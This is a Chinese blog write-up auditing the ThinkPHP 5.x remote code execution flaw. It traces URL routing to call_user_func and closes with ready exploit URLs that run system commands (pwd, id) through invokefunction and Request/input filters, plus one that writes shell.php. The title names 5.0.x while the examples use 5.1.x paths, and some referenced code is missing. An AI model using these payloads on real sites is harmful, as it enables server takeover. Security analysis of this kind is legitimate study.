您当前的位置: 首页 >  php

姜小孩.

暂无认证

  • 6浏览

    0关注

    51博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[代码审计]ThinkPHP 5.0.x 的代码执行漏洞

姜小孩. 发布时间:2022-06-14 12:16:29 ,浏览量:6

目录

TP5中的rce都是利用了input方法

如何利用此方法

如何引导到这来

POC:

TP5中的rce都是利用了input方法

ThinkPHP 5.0-5.0.24

如何利用此方法

通过URL路由分析,我们知道Thinkphp可由外界直接控制模块名、类名和其中的方法名以及参数/参数值,那么我们是不是可以将程序运行的方向引导至这里来。

如何引导到这来

要调用类肯定需要先将类实例化,类的实例化首先需要获取到模块、类名,然后解析模块和类名去组成命名空间,再根据命名空间的特性去自动加载类,然后才会实例化类和调用类中的方法。

我们先对比之前正常的URL试着构建下POC。

http://127.0.0.1/tp5.1.22/public/index.php/index/test/hello/name/world
​
http://127.0.0.1/tp5.1.22/public/index.php/模块?/Container/invokefunction

我们可以找到入口调用了run()函数,跟进发现是App.php

App.php中,会根据请求的URL调用routeCheck进行调度解析获得到$dispatch,之后将进入exec($dispatch, $config)根据$dispatch类型的不同来进行处理。继续跟进routeCheck这个函数,同样在App.php里面

继续跟进path方法

这里面还有个pathinfo()函数,继续跟进

Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,怎么找到这个变量?可以全局搜索一下,可以搜索到其中一个配置文件里面有

 

很明最后调用的call_user_func来达到任意代码执行的效果。这个函数非常危险,只要能控制$function和$args,就能造成代码执行漏洞。

在payload中,访问的url为

http://127.0.0.1/tp5.1.20/public/index.php/index/think\Container/invokefunction/function/call_user_func_array/vars[0]/phpinfo/vars[1][]/1

在pathinfo模式下,$_SERVER['PATH_INFO']会自动将URL中的“\”替换为“/”,导致破坏掉命名空间格式,所以我们采用兼容模式。

所以应该是

http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

另外由于App类继承于Container类,所以POC也可以写成:

http://127.0.0.1/tp5.1.20/public/index.php?s=index/think\App/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
POC:
http://127.0.0.1/public/index.php?s=index/\think\Request/input&filter[]=system&data=pwd
http://127.0.0.1/public/index.php?s=index/\think\view\driver\Php/display&content=
http://127.0.0.1/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
http://127.0.0.1/public/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
http://127.0.0.1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
关注
打赏
1652274937
查看更多评论
立即登录/注册

微信扫码登录

0.0396s